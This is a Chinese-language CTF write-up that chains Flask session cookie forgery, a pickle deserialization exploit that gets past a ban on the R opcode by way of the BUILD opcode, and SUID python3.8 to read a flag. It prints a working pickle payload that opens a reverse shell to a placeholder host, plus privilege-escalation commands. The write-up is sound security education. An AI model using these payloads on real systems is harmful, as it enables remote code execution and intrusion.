一共大概分作三步。

  1. flask的session伪造
  2. Pickle反序列化
  3. 利用SUID的文件读取flag文件

题目内容提示下载网站备份文件www.zip,下载后发现是app.py,打开后果然是flask框架。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from flask import Flask, session
from secret import secret

@app.route('/verification')
def verification():
try:
attribute = session.get('Attribute')
if not isinstance(attribute, dict):
raise Exception
except Exception:
return 'Hacker!!!'
if attribute.get('name') == 'admin':
if attribute.get('admin') == 1:
return secret
else:
return "Don't play tricks on me"
else:
return "You are a perfect stranger to me"

if __name__ == '__main__':
app.run('0.0.0.0', port=80)

根据源码访问/verification.,分析源码可知要修改session中Attribute中的name值和admin

session的header和payload一般是base64编码,解码头部后发现secret_key.

image-20230903010042186

使用flask_session_cookie_manager3.py,不确定先解码看看。

image-20230903010338520

再编码伪造

image-20230903010358666

image-20230903010432396

得到提示访问/ppppppppppick1e

image-20230903010523838

发现头部有源码/src0de

image-20230903010610023

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
@app.route('/src0de')
def src0de():
f = open(__file__, 'r')
rsp = f.read()
f.close()
return rsp[rsp.index("@app.route('/src0de')"):]

@app.route('/ppppppppppick1e')
def ppppppppppick1e():
try:
username = "admin"
rsp = make_response("Hello, %s " % username)
rsp.headers['hint'] = "Source in /src0de"
pick1e = request.cookies.get('pick1e')
if pick1e is not None:
pick1e = base64.b64decode(pick1e)
else:
return rsp
if check(pick1e): #check函数办了R指令
pick1e = pickle.loads(pick1e)
return "Go for it!!!"
else:
return "No Way!!!"
except Exception as e:
error_message = str(e)
return error_message

return rsp

class GWHT():
def __init__(self):
pass

if __name__ == '__main__':
app.run('0.0.0.0', port=80)

关键代码:

1
2
3
if check(pick1e): 
pick1e = pickle.loads(pick1e)
return "Go for it!!!"

Pickle反序列化,这个折腾了好久才反弹shell成功。

指令R被ban了,后面通过b指令(BUILE)成功RCE。

利用:

GWHT原先是没有__setstate__这个方法的。那么我们利用{'__setstate__': os.system}来BUILE这个对象,那么现在对象的__setstate__就变成了os.system;接下来利用"ls /"来再次BUILD这个对象,则会执行setstate("ls /") ,而此时__setstate__已经被我们设置为os.system,因此实现了RCE.

因为不回显,所以直接反弹shell。

exp.py

1
2
3
4
5
6
7
8
9
import pickle, pickletools, os
import pickle
from base64 import b64encode
import os
class GWHT():
def __init__(self):
pass
payload = b'\x80\x03c__main__\nGWHT\n)\x81}(V__setstate__\ncos\nsystem\nubVbash -c "bash -i &> /dev/tcp/xx.xx.xx.xx/xxxx 0>&1"\nb.'
print(b64encode(payload))

本来是用bash -i &> /dev/tcp/xx.xx.xx.xx/xxxx指令,后来才知道,因为题目的环境不一定是bash所以要使用bash -c 来执行。

image-20230903011812484

image-20230903012012602

反弹shell后发现没有权限读取flag。找一下suid文件

1
find / -perm -u=s -type f

image-20230903011940118

发现居然有python3.8,直接用python读取flag

1
python3 -c "print(open('flag', 'r').read())"

一句话读取flag

最后见证感人的时刻:

image-20230903012312969